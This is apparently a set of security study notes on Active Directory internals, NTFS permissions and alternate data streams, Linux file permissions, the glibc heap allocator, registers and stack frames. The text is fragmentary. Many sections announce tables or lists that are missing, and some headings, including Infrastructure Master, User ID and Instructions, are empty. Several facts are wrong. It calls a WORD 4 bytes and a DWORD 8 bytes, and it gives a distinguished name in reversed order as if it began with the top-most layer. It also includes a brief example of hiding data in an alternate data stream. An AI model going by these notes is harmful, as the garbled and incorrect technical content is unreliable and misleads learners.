Active Directory (AD) is a directory service for Windows network environments. It allows an organisation to store directory data and make it available to the users in a given network. AD has a distributed hierarchical structure that allows for the management of an organisation's resources such as users, computers, groups, network devices, file shares, group policies, servers, workstations and trusts. Furthermore, it provides authentication and authorization functionality to Windows domain environments.

Essentially, AD is a large database of information which is accessible to all users within a domain, irrespective of their privilege level. This means that a standard user account can be used to enumerate a large portion of all AD components.

The Active Directory Schema

The schema in an Active Directory environment provides the blueprints for all of the classes and attributes. A forest has a single instance of the schema which is located in the Schema naming context, under the forest root domain at cn=schema,cn=Configuration,dc=rootdomain,dc=rootdomainextension.

Each class in the Active Directory environment is represented by an object of the classSchema class and each attribute is defined by an object of the attributeSchema class. These objects are then stored in the schema.

Every AD environment comes with a default schema containing various pre-defined classes and attributes and administrators are free to add custom ones.

Versioning

Microsoft regularly updates the default schema with new server OS releases and expands the available default classes and attributes.

One can check the version of the currently used schema with ADSI Edit. Open ADSI Edit, click on Action -> Connect To.... Click on Select a well known Naming Context and choose the Schema naming context.

Next, right-click on the Schema field with the server icon and select properties. The schema version is contained in the objectVersion attribute:

Alternatively, one can use the following PowerShell code:

Get-ItemProperty 'AD:\CN=Schema,CN=Configuration,DC=<rootdomain>,DC=<rootdomainextension>' -Name objectVersion

Introduction

A user in AD stores information about an employee or contractor who works for the organisation. These objects are instances of the User class. User objects are leaf objects, since they do not contain any other objects.

Every user is considered a security principal and has its own SID and GUID. Additionally, user objects can have numerous different attributes such as display name, email address, last login time, etc - well in excess of 800.

Domain Users

Domain Users in AD are the ones who are capable of accessing resources in the Active Directory environment. These users can log into any host on the network. All domain users have 5 essential naming attributes as well as many others:

Introduction

Domain Controllers (DCs) are at the heart of Active Directory. There are Flexible Single Master Operation (FSMO) roles which can be assigned separately to domain controllers in order to avoid conflicts when data is update in the AD environment. These roles are the following:

Introduction

Groups are instances of the AD Group class. They provide the means to mass assign permissions to users, making administration a lot easier. The administrator assigns a set of privileges to the group and they will be inherited by any user who joins it.

Groups have two essential characteristics - type and scope.

Group Type

The group type identifies the group's purpose and must be chosen upon creation of the group. There are two types of groups.

Security groups are best suited precisely for the purpose described above - mass assignment of permissions to users.

Distributions groups are a bit different - they are unable to assign any permissions and are really only used by email applications for the distribution of messages to their members. They resemble mailing lists and can be auto-filled in the recipient field when sending emails using Microsoft Outlook.

Group Scope

There are three possible group scopes and once again must be selected upon creation of the group. The group scope determines the level of permissions that can be assigned via the group.

Domain Local groups can only be used to manage permissions only regarding resources within the domain that the group belongs to. Whilst such groups cannot be used in other domains, they can contain users from other domains. Additionally, nesting of domain local groups is allowed within other domain local groups but not within global ones.

Global groups allow access to resources in a different domain from the one they belong to, although they may only contain users from their origin domain. Nesting of global groups is allowed both in other global groups and local groups.

Universal groups allow permissions management across all domains within the same forest. They are stored in the Global Catalog and any change made directly to them triggers forest-wide replication. To avoid unnecessary replications, administrators are advised to keep users and computers in global groups which are themselves stored in universal groups.

It is also possible to change the scope of a group under certain conditions:

• A global group can be promoted to a universal group if it is not part of another global group.
• A domain local group can be promoted to a universal group if it does not contain any other domain local groups.
• A universal group can be demoted to a global group if it does not contain any other universal groups.
• A universal group can be freely demoted to a domain local group.

Default Groups

Some built-in groups are automatically created when an AD environment is set up. These groups have specific purposes and cannot contain other groups - only users.

Introduction

A contact in AD contains information about an external person or company that may need to be contacted on a regular basis. Contact objects are instances of the Contact class and are considered leaf objects. Their attributes include first name, last name, email address, telephone number, etc.

Contacts are not security principals - they lack a SID and only have a GUID.

Introduction

A computer object is an instance of the Computer class in Active Directory and represents a workstation or server connected to the AD network. Computer objects are security principals and therefore have both a SID and GUID. These are prime targets for adversaries, since full administrative access to a computer (NT AUTHORITY\SYSTEM) grants privileges similar to those of a standard domain user and can be used to enumerate the AD environment.

Attributes

Attributes represent the properties which Active Directory objects have. Similarly to classes, they are represented by attributeSchema objects in the schema of the Active Directory environment. The properties of this object describe the characteristics of the attribute.

Syntax

The syntax of an attribute specifies the kind of information that it can hold and is similar to data types in programming languages. There are 23 possible syntaxes which are specified by the combination of the attributeSyntax and oMSyntax properties of the attribute.

Most of these represent typical data types in programming languages. When unsure which syntax to use, take a look at already existing attributes to get an idea of which syntax might be appropriate.

systemFlags

Each attribute definition in the Schema has a systemFlags property which describes how the attribute should be handled. It is a 32-bit big-endian field representing various flags as single-bit switches. Most of the bits are not used and should be left as zeros.

Constructed Attributes

Certain attributes are not stored directly in the Active Directory database. The value of these constructed attributes is instead calculated whenever it is needed. This usually involves other attributes in the calculation. The functionality constructed attributes provide may range from telling you approximately how many objects are stored directly under a given container (msDS-Approx-Immed-Subordinates) to yielding information about attributes you have write access to on a given object (allowedAttributesEffective).

Due to their special implementation, constructed attributes abide by certain rules:

• They are not replicated.
• They cannot be used in server-side sorting.
• They cannot be used for queries (with the exception of aNR).

The definition of a constructed attribute has the FLAG_ATTR_IS_CONSTRUCTED field in the systemFlags set to 1.

Indexed Attributes

Attribute indexing is the process of storing the values of all instances of the attribute in a sorted table. This is done in order to boost query performance, since any queries involving the indexed attribute can be optimised by only looking through the table responsible for the specific attribute.

Unfortunately, it is not always possible to use indexing to speed up querying:

• Queries containing bitwise operations on the indexed attribute nullify the effect of indexing. These are queries which involving bit masks such as systemFlags.
• Queries containing the NOT operation on a bitwise attribute cannot avail themselves of indexing because negation necessitates the enumeration of all objects to determine which ones lack the attribute.

Attribute indexing is reflected in the searchFlags property of the corresponding attributeSchema object:

Linked Attributes

Attributes with an attributeSyntax of 2.5.5.1, 2.5.5.7, or 2.5.5.14 can be linked to attributes with an attributeSyntax of 2.5.5.1. Linked attributes come in pairs - one is called the forward link and the other is called the back link. Linking simply means that the value of the back link is calculated based on the value of the forward link.

A pair of linked attributes is identified by the linkID properties of the two attributeSchema objects representing the attribute definitions. The linkID of the forward link must be a unique even number and the linkID of its corresponding back link must be the forward link's linkID plus one.

Classes

A class in Active Directory serves as the blueprint for instantiating objects. Interestingly enough, each class definition is represented by an object in the Schema. More specifically, every class is an instance of the classSchema built-in class.

The object representing a class within the Schema (i.e. an object of type classSchema) has many attributes, but following are the most important ones:

Class Categories

There are three class categories in Active Directory.

Structural classes are the most basic type of AD class and are the only classes which can be instantiated directly, i.e. one can create objects from them. These classes are allowed to inherit from abstract classes as well as other structural classes and are denoted in the corresponding classSchema object by an objectClassCategory of 1.

Abstract classes are classes which cannot be instantiated, i.e. it is not possible to create objects from them. They are commonly used as a stepping stone towards the construction of more sophisticated classes which need to share certain functionality. This is why abstract classes may only inherit from other abstract classes.

An abstract class is denoted in the corresponding classSchema object by an objectClassCategory of 2.

Auxiliary classes serve mainly as a grouping mechanism and cannot be instantiated. They should be thought of simply as collections of attributes which structural and abstract classes can inherit. Auxiliary classes are denoted in the corresponding classSchema object by an objectClassCategory of 3 and may themselves only inherit from other auxiliary or abstract classes.

Inheritance

The special thing about classes is that they can inherit from one another. This is done by specifying the parent of the class in its subclassOf attribute. Inheritance works by implicitly including the values of the mustContain, systemMustContain, mayContain, systemMayContain attributes of the parent class in those of the child. In this way, the child will have all of the mandatory and optional attributes of the parent. Similarly, the possSuperiors and systemPossSuperiors of the parent are also included in those of the child class. This process propagates backwards until the top of the ancestry tree - a child class inherits the properties of its parent class and all of its grandparent classes.

Whilst Active Directory classes may only have a single immediate parent to inherit from, they are allowed to inherit attributes from multiple auxiliary classes by listing them in the auxiliaryClass and systemAuxiliaryClass attributes.

Domain Controller

A domain controller in Active Directory is a Windows Server which hosts all services and protocols within a given domain. Each domain controller may only service a single domain but roles within the same domain are usually distributed across a few different domain controllers.

Flexible Single-Master Operation (FSMO) Roles

Although Active Directory follows a multi-master model, some functions and services are still best managed by a single domain controller in order to avoid unnecessary complexity. These functions are grouped together into Flexible Single-Master Operation (FSMO, pronounced "fizmo") roles which are then assigned to specific domain controllers. There are five such roles:

By default, all of the FSMO roles are assigned to the first domain controller in the forest and they can be subsequently transferred to other servers.

Schema Master

There is only one Schema Master domain controller in a forest and it is the sole controller which is allowed to make changes to the Active Directory Schema. If there is no domain controller with this role, then it is not possible to make changes to the schema.

One can view who the Schema Master is with the following PowerShell command:

Get-ADForest | Select SchemaMaster

Domain Naming Master

As with the Schema Master, there is a single Domain Naming Master for the entire forest and it is the domain controller responsible for add and removing domains to and from the forest. The Domain Naming Master is the only DC allowed to add or remove domains and application partitions.

One can view the Domain Naming Master with the following PowerShell command:

Get-ADForest | Select DomainNamingMaster

Infrastructure Master

The Directory Information Tree (DIT)

All data in a given Active Directory environment is stored in a database called the Directory Information Tree (DIT). Every domain controller maintains a partial copy of this database containing all the relevant information for the domain the controller belongs to.

By default, the database is stored by domain controllers in C:\Windows\NTDS\ntds.dit and it has three main tables.

The Hidden Table

The hidden table contains only a single row with information used by Active Directory to configuration-related information in the data table. Most importantly, this table holds a pointer to the domain controller's NTDS Settings object in the data table.

The Data Table

Most of the data in the AD environment is stored in the data table. Every attribute defined in the Schema is represented by a column and every object has a row dedicated to it. The values of the object's attributes are stored in the cells under the corresponding columns and if the object does not have a particular attribute, then that cell is left empty.

In addition to a column for each attribute, the data table contains a few special columns.

The first column is the distinguished name tag (DNT) which identifies each row (i.e. object) in the table. The DNT is not replicated which means that each object is likely to have a different DNT on different domain controllers. Furthermore, a domain controller is not allowed to reuse DNTs even after the object they refer to has been deleted. Since there can be at most $2^{31}-255$ DNTs, a domain controller may eventually be unable to create new objects.

The parent DNT (PDNT) column stores the DNT of the object's direct parent. When the object is moved, its PDNT is automatically update to reflect its new parent.

The NCDNT column contains the DNT of the naming contexts the object belongs to, which illustrates that directory partitions are simply logical divisions and are not reflected "physically" (i.e. by creating separate folders for them or something similar).

The Ancestors columns stores the DNTs of the all of the object's ancestors (from the root down to the object itself) which essentially represents the hierarchy.

Introduction

The distributed nature of Active Directory necessitates data segregation. These partitions which organise various data are called Naming Contexts (NCs), also known as directory partitions. Active Directory comes with three types of predefined naming contexts:

• Domain Naming Context - for each domain in the forest;
• Configuration Naming Context - one per forest;
• Schema Naming Context - one per forest.

Additionally, administrators can define additional naming contexts for organising data by using Application Partitions.

Get-ADRootDSE -Server <IP> | Select-Object -ExpandProperty namingContexts

Domain Naming Context

Every domain in an Active Directory environment has a Domain Naming Context designed for storing data pertaining to that specific domain. The root of this directory partition is called the NC head and is represented by the domain's distinguished name (in this case dc=cybercorp,dc=com). Every domain controller in the domain maintains a copy of the domain's naming context.

Configuration Naming Context

The Configuration Naming Context stores configuration information about the entire forest and is located under the configuration container cn=Configuration,dc=<forest root domain>,dc=<forest root domain extension> (in the example case, cn=Configuration,dc=cybercorp,dc=com). The configuration partition is replicated to every domain controller inside the forest. Furthermore, writable domain controllers maintain a writable copy of it.

Schema Naming Context

The Schema Naming Context contains the Schema of the Active Directory environment. Since there is a single schema for the entire forest, this partition is also replicated to every domain controller in the forest. It can be found under cn=Schema,Configuration,dc=<forest root domain>,dc=<forest root domain extension>.

Application Partitions

Application partitions allow administrators to create custom data storage areas on domain controllers of their choice, rather than entire domains or the forest. One can easily define which domain controllers should maintain a replica of a given application partition because Active Directory automatically sets up the replication after the domain controllers are chosen.

Naming application partitions is similar to naming domains - for example, dc=apppartition,dc=cybercorp,dc=local. Furthermore, the location of an application partition is rather flexible. They can be positioned under domains, under other application partitions or they can be the root of an entirely new domain tree.

There are, however, certain limitations to the objects that an application partition may contain. Application partitions cannot store security principals and the objects within cannot be relocated outside the partition. Moreover, objects in an application partition are not tracked by the Global Catalog.

create nc "<partition DN>" <domain controller>

connect to server <domain controller>

add nc replica "<partition DN>" <domain controller>

Objects

Resources in Active Directory are represented by objects. An object is any resource present within Active Directory such as OUs, printers, users, domain controllers, etc. Every object has a set of characteristic attributes which describe it. For example, a computer object has attributes such as hostname and DNS name. Additionally, all AD attributes are associated with an LDAP name which can be used when performing LDAP queries.

Every object carries information in these attributes, some of which are mandatory and some optional. Objects can be instantiated with a predefined set of attributes from a class in order to make the process of object creation easier. For example, the computer object PC1 will be an instance of the computer class in Active Directory.

It is common for objects to contain other objects, in which case they are called containers. An object holding no other objects is known as a leaf.

Distinguished Name (DN) & Relative Distinguished Name (RDN)

The full path to an object in AD is specified via a Distinguished Name (DN). A Relative Distinguished Name (RDN) is a single component of the DN that separates the object from other objects at the current level in the naming hierarchy. RDNs are represented as attribute-value pairs in the form attribute=value, typically expressed in UTF-8.

A DN is simply a comma-separated list of RDNs which begins with the top-most hierarchical layer and becomes more specific as you go to the right. For example, the DN for the John Doe user would be dc=local,dc=company,dc=admin,ou=employees,ou=users,cn=jdoe.

The following attribute names for RDNs are defined:

It is also important to note that the following characters are special and need to be escaped by a \ if they appear in the attribute value:

Domain Trees

Objects are organised in logical groups called domains. These can further have nested subdomains in them and can either operate independently or be linked to other domains via trust relationships. A root domain together with all of its subdomains and nested objects is known as a domain tree.

Each domain controller is responsible for a single domain - hosting multiple domains on the same controller is not allowed. However, a single domain may have multiple domain controllers with different roles.

Forests

A collection of domain trees is referred to as a forest (really???) and it is the root container for all objects in a given AD environment. A forest is named after the first domain created inside it, which is called the forest root domain.

Relationships and access across domains in a single forest as well as domains in different forests are facilitated via trusts.

Trusts

Trusts in Active Directory allow for forest-forest or domain-domain links. They allow users in one domain to access resources in another domain where their account does not reside. The way they work is by linking the authentication systems between two domains.

The two parties in a trust do not necessarily have the same capabilities with respect to each other:

• One-way trusts allow only one party to access the resources of the other. The trusted domain is considered the one accessing the resources and the trusting domain is the one providing them.
• Two-way trusts allow the parties to mutually access each other's resources.

Additionally, trusts can either be transitive or non-transitive. Transitivity means that the trust relationship is propagated upwards through a domain tree as it is formed.

For example, a transitive two-way trust is established between a new domain and its parent domain upon creation. Any children of the new domain (grandchildren of the parent domain) will also then share a trust relationship with the master parent.

Five possible types of trusts can be discerned depending on the relationships between the systems being linked:

Introduction

Windows uses the New Technology File System (NTFS) for managing its files and folders. What makes it special is its ability to automatically repair files and folders on disk using log files in case of a failure.

Additionally, it lifts certain limitations which were characteristic of its predecessors by supporting files larger than 4GB, being able to set permissions on specific files and folders and being able to avail itself of both compression and encryption. Another peculiar feature of NTFS are Alternate Data Streams.

Permissions

NTFS allows for every user/group to have its own set of permissions on every file and folder in the file system tree. The following six types of permissions can be set:

Inspecting Permissions

Permissions can be inspected from the command line by running

icacls <path>

The last set of () for each user/group tell you the permissions:

• F - Full Control
• M - Modify
• RX - Read & Execute
• R - Read
• W - Write

Additionally, the permissions on a file/folder can be inspected by right-clicking on the item in Windows Explorer, following Properties->Security and then selecting the user/group you want to see the permissions for.

Alternate Data Streams (ADS)

A not very well-known, yet interesting feature of NTFS are the so-called Alternate Data Streams. These were implemented for better Macintosh file support, but they can lead to security vulnerabilities and ways to hide data.

A data stream can be thought of as a file within another file. Each stream has its own allocated disk space, size and file locks. Moreover, alternate data streams are invisible to Windows Explorer which makes them an easy way to hide data within legitimately looking files.

Every file in NTFS has at least one default data stream where its data is stored. The default data stream is innominate and any stream which does have a name is considered an alternate data stream.

Working with ADSs

ADSs cannot be manipulated via Windows Explorer and so the command-line is needed. File operations with alternate data streams on the command-line work the same, but you will need to use the <file name>:<stream name> format to refer to the stream you want to manipulate.

For example,

echo hello > file.txt
echo secret > file.txt:hidden

Windows Explorer is completely oblivious to the alternate data stream. The command-line, however, is not:

Additionally, the dir /R command can be used to list alternate data streams for files in a directory:

A more sophisticated tool for managing ADSs, called Streams comes with the SysInternals suite. It can be used with the -s option to recursively show all streams for the files in a directory:

The number next to the stream name is the size of the data stored in the stream.

Streams can also be used to delete all streams from a file with the -d option:

Unified File System

Linux uses a unified file system which begins at the / directory (pronounced "root", notwithstanding this unfortunate naming).

Symbolic Links

A symbolic, or soft, link is a reference in the file system to a particular file. When the symbolic link is used in a command, the file which it references will be used instead.

Symbolic links between files (or directories for that matter) can be created by using the following command:

ln -s <file> <link>

It is important to note that when using relative paths for the link, the path is relative to the link (even after it is moved) and not the current working directory.

Essentially, when creating a link with a relative path, the link points to ./file. However, if the link is moved, then ./ will refer to a different directory and the link won't be able to find what it is referencing.

Hard Links

Hard links are different from the symbolic links in the sense that they do not have any relationship to the original path where they link to, but only to its contents. They are just files which reference the same data as another file.

Hard links are created by using the following syntax:

ln <file> <link>

Because hard links bear no connection to the path they were created with, they will still point to the same data even after they are relocated.

Permissions

Every file and directory in Linux is owned by a certain user and a group and is assigned three sets of permissions - owner, group, and all users. The owner permissions describe what the user owning the file can do with it, the group permissions describe what members of the group owning the file can do with it, and the all users permissions describe what the rest of the non-root (root is allowed everything) users which are not members of the file's group can do with it.

There are 3 possible type of permissions - read (r), write (x) and execute (x). Regarding the file shown here, the permissions are shown on the left and are represented by every 3 characters after the initial dash (-). So, here the file's owner (cr0mll) has rwx permissions on it. Every member of the sysint group will have rw permissions on the file and all other users will only be able to read it.

Set Owner User ID (SUID)

The Set Owner User ID (SUID) is a special permission which can be set on executable files. When a file with SUID set is executed, it will always run with the effective UID of the user who owns it, irrespective of which user actually passed the command (so long as the user invoking the command also has execute permissions on the file).

The SUID permission is indicated by replacing the x in the permissions of the owning user with s.

Setting SUID on a file can be done with the following command:

chmod u+s <file>

Set Group ID (SGID)

Similarly to SUID, the Set Group ID (SGID) is a special permission which can be set on both executable files and directories. When set on files, it behaves in the same way SUID but rather than the files executing with the privileges of the owning user, they execute with the effective GID the owning group.

When set on a directory, any file created within that directory will automatically have their group ownership set to one specified by the folder.

Setting SGID on a file can be done with the following command:

chmod g+s <path>

Sticky Bit

The sticky bit is a special permission which can be applied to directories in order to limit file deletion within them to the owners of the files. It is denoted by a t in the place of the x permission for the directory and can be set with the following command:

chmod +t <directory>

User ID

Introduction

The command line, is a text-based interface which allows for interaction with the computer and execution of commands. The actual command interpreter which carries out the commands is referred to as the shell and there are multiple examples of shells such as bash, zsh, sh, etc.

Input and Output Redirection

It is possible to redirect input and output from and to files when invoking commands:

Pipes

Moreover, information may be redirected directly from one command to another by using unnamed pipes (|).

Reverse Engineering

Program Anatomy

The Heap

The heap is a memory region which allows for dynamic allocation. Memory on the heap is allotted at runtime and programs are permitted to freely request additional heap memory whenever it is required.

It is the program's job to request and relieve any heap memory only once. Failure to do so can result in undefined behaviour. In C, heap memory is usually allocated through the use of malloc and whenever the program is finished with this data, the free function must be invoked in order to mark the area as available for use by the operating system and/or other programs.

Heap memory can also be allocated by using malloc-compatible heap functions like calloc, realloc and memalign or in C++ using the corresponding new and new[] operators as well as their deallocation counterparts delete and delete[].

Heap Rules

1. Do not read or write to a pointer returned by malloc after that pointer has been passed to free. -> Can lead to use after free vulnerabilities.
2. Do not use or leak uninitialised information in a heap allocation. -> Can lead to information leaks or uninitialised data vulnerabilities.
3. Do not read or write bytes after the end of an allocation. -> Can lead to heap overflow and read beyond bounds vulnerabilities.
4. Do not pass a pointer that originated from malloc to free more than once. -> Can lead to double delete vulnerabilities.
5. Do not write bytes before the beginning of the allocation. -> Can lead to heap underflow vulnerabilities.
6. Do not pass a pointer that did not originate from malloc to free. -> Can lead to invalid free vulnerabilities.
7. Do not use a pointer returned by malloc before checking if the function returned NULL. -> Can lead to null-dereference bugs and sometimes arbitrary write vulnerabilities.

The implementation of the heap is platform specific.

The GLIBC Heap

The heap grows from lower to higher addresses.

Chunks

The heap manager allocates resources in the so-called chunks. These chunks are stored adjacent to each other and must be 8-byte aligned or 16-byte aligned on 32-bit and 64-bit systems respectively. In addition to this padding, each chunks contains metadata which provides information about the chunk itself. Consequently, issuing a request for memory allocation on the heap actually allocates more bytes than originally requested.

It is important to distinguish between in-use chunks and free (or previously allocated) chunks, since they have disparate memory layouts.

The following diagram outlines a chunk that is in use:

The size field contains the chunk size in bytes. The following three bits carry specific meaning:

• A (0x04) - Allocated arena. If this bit is 0, the chunk comes from the main arena and the main heap. If this bit is 1, the chunk comes from mmap'd memory and the location of the heap can be computed from the chunk's address.
• M (0x02) - If this bit is set, then the chunk was mmap-ed and isn't part of a heap. Typically used for large allocations.
• P (0x01) - If this bit is set, then the previous chunk should not be considered for coalescing and the mchunkptr points to a previous chunk still in use

A free chunk looks a bit different:

The size and AMP fields carry on the same meaning as those in chunks that are in use. Free chunks are organised in linked or doubly linked lists called bins. The fwd and bck pointers are utilised in the implementation of those linked lists. Different types of bins exist for different purposes.

The top of the heap is by convention called the top chunk.

Memory Allocation on the Heap

Allocating from Free Chunks

When an application requests heap memory, the heap manager traverses the bins in search of a free chunk that is large enough to service the request. If such a chunk is found, it is removed from the bin, turned into an in-use chunk and then a pointer is returned to the user data section of the chunk.

Allocating from the Top Chunk

If no free chunk is found that can service the request, the heap manager must construct an entirely new chunk at the top of heap. To achieve this, it first needs to ascertain whether there is enough space at the top of the heap to hold the new chunk.

Requesting Additional Memory at the Top of the Heap from the Kernel

Once the free space at the top of the heap is used up, the heap manager will have to ask the kernel for additional memory.

On the initial heap, the heap manager asks the kernel to allocate more memory at the end of the heap by calling sbrk.On most Linux-based systems this function internally uses a system call called brk.

Eventuall, the heap will grow to its maximum size, since expanding it any further would cause it to intrude on other sections of the process' address space. In this case, the heap manager will resort to using mmap to map new memory for heap expansions.

If mmap also fails, then the process is unable to allocate more memory and malloc returns NULL.

Allocating Large Chunks

Large chunks get treated differently in their allocation. These are allocated off-heap through the direct use of mmap calls and this is reflected in the chunk's metadata by setting the M bit to 1. When such allocations are later returned to the heap manager via a call to free, the heap manager releases the entire mmap-ed region back to the system via munmap.

Different platforms have different default thresholds for what counts as a large chunk and what doesn't.

Arenas

Multithreaded applications require that internal data structures on the heap are protected from race conditions. In the past, the heap manager availed itself of a global mutex before every heap operation, however, significant performance issues arose as a result. Consequently, the concept of "arenas" was introduced.

Each arena consists of a separate heap which manages its own chunk allocation and bins. Although each arena still utilises a mutex for its internal operations, different threads can make use of different arenas to avoid having to wait for each other.

The initial (main) arena consists of a single heap and for single-threaded applications it is all there ever will exist. However, as more threads are spawned, new arenas are allocated and attached to them. Once all available arenas are being utilised by threads, the heap manager will commence creating new ones until a limit - 2 * Number of CPU cores for 32-bit and 8 * Number of CPU cores for 64-bit processes - is reached. Afterwards, multiple threads will be forced to share the same arena.

Bins

Free chunks are organised in the so-called bins which are essentially linked lists. For performance reasons different types of bins exist. There are 62 small bins, 63 large bins, 1 unsorted bin, 10 fast bins and 64 tcache bins per thread. The last two appeared later and are built on top of the first three.

Pointers to the small, large, and unsorted bins are stored in the same array in the heap manager:

BIN[0] -> invalid (unused)
BIN[1] -> unsorted bin
BIN[2] to BIN[63] -> small bins
BIN[64] to BIN[126] -> large bins

Small Bins

There are 62 small bins and each of them stores chunks of a fixed size. Each chunk with a size less than 512 bytes on 32-bit systems and 1024 bytes on 64-bit systems has a corresponding small bin. Small bins are sorted by default due to the fixed size of their elements and Insertion and removal of entries on these bins is incredibly fast.

Large Bins

There are 63 large bins and they resemble small bins in their operation but store chunks of different sizes. Consequently, insertions and removal of entries on these lists is slower, since the entire bin has to be traversed in order to find a suitable chunk.

There is a different number of bins allocated for specific chunk size ranges. The size of the chunk size range begins at 64 bytes - there are 32 bins all of which shift the range of chunk sizes they store by 64 from the previous bin. Following are 16 bins which shift the range by 512 bytes and so on.

In essence:

• Bin 1 -> stores chunks of sizes 512 - 568 bytes;
• Bin 2 -> stores chunks of sizes 576 - 632 bytes;
• ...

There are:

Unsorted Bins

There is a single unsorted bin. Chunks from small and large bins end up directly in this bin after they are freed. The point of the unsorted bin is to speed up allocations by serving a sort of cache. When malloc is invoked, it will first traverse this bin and see if it can immediately service the request. If not, it will move onto the small or large bins respectively.

Fast Bins

Fast bins provide a further optimisation layer. Recently released small chunks are put in fast bins and are not initially merged with their neighbours. This allows for them to be repurposed forthwith, should a malloc request for that chunk size come very soon after the chunk's release. There are 10 fast bins, covering chunks of size 16, 24, 32, 40, 48, 56, 64, 72, 80, and 88 bytes plus chunk metadata.

Fast bins are implemented as singly linked lists and insertions and removals of entries in them are really fast. Periodically, the heap manager consolidates the heap - chunks in the fast bins are merged with the abutting chunks and inserted into the unsorted bin.

This consolidation occurs when a malloc request is issued for a size that is larger than a fast bin can serve (chunks over 512 bytes on 32-bit systems and over 1024 bytes on 64-bit systems), when freeing a chunk larger than 64KB or when malloc_trim or mallopt is invoked.

TCache Bins

A new caching mechanism called tcache (thread local caching) was introduced in glibc version 2.26 back in 2017.

The tcache stores bins of fixed size small chunks as singly linked lists. Similarly to a fast bin, chunks in tcache bins aren't merged with adjoining chunks. By default, there are 64 tcache bins, each containing a maximum of 7 same-sized chunks. The possible chunk sizes range from 12 to 516 bytes on 32-bit systems and from 24 to 1032 bytes on 64-bit systems.

When a chunk is freed, the heap manager checks if the chunk fits into a tcache bin corresponding to that chunk size. If the tcache bin for this size is full or the chunk is simply too big to fit into a tcache bin, the heap manager obtains a lock on the arena and proceeds to comb through other bins in order to find a suitable one for the chunk.

When malloc needs to service a request, it first checks the tcache for a chunk of the requested size that is available and should such a chunk be found, malloc will return it without ever having to obtain a lock. If the chunk too big, malloc continues as before.

A slightly different strategy is employed if the requested chunk size does have a corresponding tcache bin, but that bin is simply full. In that case, malloc obtains a lock and promotes as many heap chunks of the requested size to tcache chunks, up to the tcache bin limit of 7. Subsequently, the last matching chunk is returned.

malloc and free

Allocation

First, every allocation exists as a memory chunk which is aligned and contains metadata as well as the region the programmer wants. When a programmer requests memory from the heap, the heap manager first works out what chunk size the allocation request corresponds to, and then searches for the memory in the following order:

1. If the size corresponds with a tcache bin and there is a tcache chunk available, return that immediately.
2. If the request is huge, allocate a chunk off-heap via mmap.
3. Otherwise obtain the arena heap lock and then perform the following steps, in order:
   1. Try the fastbin/smallbin recycling strategy
      • If a corresponding fast bin exists, try and find a chunk from there (and also opportunistically prefill the tcache with entries from the fast bin).
      • Otherwise, if a corresponding small bin exists, allocate from there (opportunistically prefilling the tcache as we go).
   2. Resolve all the deferred frees - Otherwise merge the entries in the fast bins and move their consolidated chunks to the unsorted bin. - Go through each entry in the unsorted bin. If it is suitable, return it. Otherwise, put the unsorted entry on its corresponding small/large bin as we go (possibly promoting small entries to the tcache).
   3. Default back to the basic recycling strategy
      • If the chunk size corresponds with a large bin, search the corresponding large bin now.
   4. Create a new chunk from scratch
      • Otherwise, there are no chunks available, so try and get a chunk from the top of the heap.
      • If the top of the heap is not big enough, extend it using sbrk.
      • If the top of the heap can’t be extended because we ran into something else in the address space, create a discontinuous extension using mmap and allocate from there
   5. If all else fails, return NULL.

Deallocation

1. If the pointer is NULL, do nothing.
2. Otherwise, convert the pointer back to a chunk by subtracting the size of the chunk metadata.
3. Perform a few sanity checks on the chunk, and abort if the sanity checks fail.
4. If the chunk fits into a tcache bin, store it there.
5. If the chunk has the M bit set, give it back to the operating system via munmap.
6. Otherwise we obtain the arena heap lock and then:
   1. If the chunk fits into a fastbin, put it on the corresponding fastbin.
   2. If the chunk size is greater than 64KB, consolidate the fastbins immediately and put the resulting merged chunks on the unsorted bin.
   3. Merge the chunk backwards and forwards with neighboring freed chunks in the small, large, and unsorted bins.
   4. If the resulting chunk lies at the top of the heap, merge it into the top chunk.
   5. Otherwise store it in the unsorted bin.

Registers

Registers are value containers which reside on the CPU and not in RAM. They are small in size and some have special purposes. You may store both addresses and values in registers and depending on the instruction used the data inside will be interpreted in a different way - this is commonly called an addressing mode.

In x86 Intel assembly (i386), the registers are 32 bits (4 bytes) in size and some of them are reserved:

ebp - the base pointer, points to the bottom of the current stack frame

esp - the stack pointer, points to the top of the current stack frame

eip - the instruction pointer, points to the next instruction to be executed

The other registers are general purpose registers and can be used for anything you like: eax, ebx, ecx, edx, esi, edi.

x64 AMD assembly (amd64) extends these 32-bit registers to 64-bit ones and denotes these new versions by replacing the initial e with an r: rbp, rsp, rip, rax, ... It is important to note that these are not different registers - eax and rax refer to the same space on the CPU, however, eax only provides access to the lower 32 bits of the 64-bit register. You can also get access to the lower 16 and 8 bits of the register using different names:

Each row contains names which refer to different parts of the same register. Note, you cannot access the lower 16 or 8 bits of the instruction pointer.

You might sometimes see WORD or DWORD being used in a similar context - WORD means 4 bytes and DWORD means 8 bytes.

Register Use in x64 Linux

Under x64 Linux, function arguments are passed via registers:

rdi:    First Argument
rsi:    Second Argument
rdx:    Third Argument
rcx:    Fourth Argument
r8:     Fifth Argument
r9:     Sixth Argument

The return value is store in rax (eax on 32-bit machines).

Register Dereferencing

Register dereferencing occurs when the value of the register is treated as an address to the actual data to be used, rather than the data itself. This means that addressed can be stored in registers and used later - this is useful when dealing with large data sizes.

For example,

mov rax, [rdx]

Will check the value inside rdx and treat it as an address - it will go to the location where this address points and get its data from there. It will then move this data into rax. If we hadn't used [], it would have treated the address in rdx simply as a value and moved it directly into rax.

The Stack

The stack is a place in memory. It's a Last-In-First-Out (LIFO) data structure, meaning that the last element to be added will be the first to get removed. Each process has access to its own stack which isn't bigger than a few megabytes. Adding data to the stack is called pushing onto the stack, whilst removing data is called popping off the stack. Although the location of the added or removed data is fixed (it's always to or from the top of the stack), existing data can still be read or written to arbitrarily.

A special register is used for keeping track of the top of the stack - the stack pointer or rsp. When pushing data, the stack pointer diminishes, and when removing data, the stack pointer augments. This is because the stack grows from higher to lower memory addresses.

Stack Frames

When a function is invoked, a stack frame is constructed. First, the function's arguments which do not fit into the registers are pushed on the stack, then the return address is also pushed. Following this, the value of a special register known as the base pointer (rbp) is saved onto the stack and the value inside the register is then updated to point to the location on the stack where we saved the base pointer.

From then on, the stack pointer is used for allocating local data inside the function and the base pointer is used for accessing this data.

long func(long a, long b, long c, long d,
            long e, long f, long g, long h)
{
    long x = a * b * c * d * e * f * g * h;
    long y = a + b + c + d + e + f + g + h;
    long z = otherFunc(x, y);
    return z + 20;
}

Sometimes, the base pointer might be completely absent in optimised programs because compilers are good enough in keeping track of offsets directly from the stack pointer.

Instructions

